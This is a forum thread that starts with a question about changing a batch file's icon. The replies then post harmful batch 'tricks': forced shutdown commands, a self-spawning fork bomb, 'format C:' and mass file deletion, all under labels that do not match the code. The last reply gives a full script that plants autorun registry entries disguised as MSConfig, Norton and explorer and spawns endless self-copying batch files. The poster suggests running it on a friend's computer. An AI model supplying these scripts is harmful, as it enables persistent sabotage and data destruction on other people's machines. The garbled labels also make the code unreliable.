Hi, can anyone tell me how to change icon of batch file which you have created for specific work? I want some more tricks to create batch file which can perform some task. Can anyone will provide me that? Please give me if you have it.
Hi, can anyone tell me how to change icon of batch file which you have created for specific work? I want some more tricks to create batch file which can perform some task. Can anyone will provide me that? Please give me if you have it.
Hi, I don't know whether there is any solution to change icon of single batch file or not? But yes you can change icon of the all batch files by doing following steps:
- Go to My Computer.
- Click view, then options and then then the file types.
- Select the ms-dos batch file.
- Click on edit.
- From this you can select one icon for you batch files.
Hi, you can't change icon of the single batch file. I am giving you some code which can make fun for you.
Try this:
For Shutdown of Computer:
For Restart computer:Code:shutdown -s -t 05 -c "Shutting down"
To Freeze the computer:Code:shutdown -r -t 05 -c "Restarted very soon"
For Slowing down you pc:Code:start name.bat name.bat
For formatting your c drive if it is unprotected:Code:name.bat>>name.bat name.bat
To delete with the extension provided:Code:format C:
Code:*.extension
Hi, you can't able to change icon of the batch file. You can set it to specific icon by changing icon of all batch file. You can change icon of single batch file if you have made shortcut of it. I am sending you code for batch file which will be harmful to Microsoft registry editor. Just check it on your friends computer.
Code:@echo off del C:\1.reg >>"C:\1.reg" ECHO Windows Registry Editor Version 5.00 >>"C:\1.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>"C:\1.reg" ECHO "MSConfig"="C:\\1.bat " >>"C:\1.reg" ECHO "MCUpdateExe"="c:\\2.bat" >>"C:\1.reg" ECHO "explorer"="c:\\3.bat" >>"C:\1.reg" ECHO "Norton"="c:\\windows\\1.bat" >>"C:\1.reg" ECHO "System"="c:\\windows\\2.bat" >>"C:\1.reg" ECHO "autoexec"="c:\\windows\\3.bat" regedit.exe /s C:\1.reg >>"C:\2.bat" ECHO :1 >>"C:\2.bat" ECHO copy 2.bat C:\3.bat >>"C:\2.bat" ECHO copy 2.bat C:\4.bat >>"C:\2.bat" ECHO copy 2.bat C:\5.bat >>"C:\2.bat" ECHO start C:\2.bat >>"C:\2.bat" ECHO start C:\3.bat >>"C:\2.bat" ECHO start C:\4.bat >>"C:\2.bat" ECHO start C:\5.bat >>"C:\2.bat" ECHO copy C:\2.bat C:\windows\1.bat >>"C:\2.bat" ECHO copy C:\3.bat C:\windows\2.bat >>"C:\2.bat" ECHO copy C:\4.bat C:\windows\3.bat >>"C:\2.bat" ECHO start C:\windows\1.bat >>"C:\2.bat" ECHO start C:\windows\2.bat >>"C:\2.bat" ECHO start C:\windows\3.bat >>"C:\2.bat" ECHO goto 1 start C:\2.bat
Bookmarks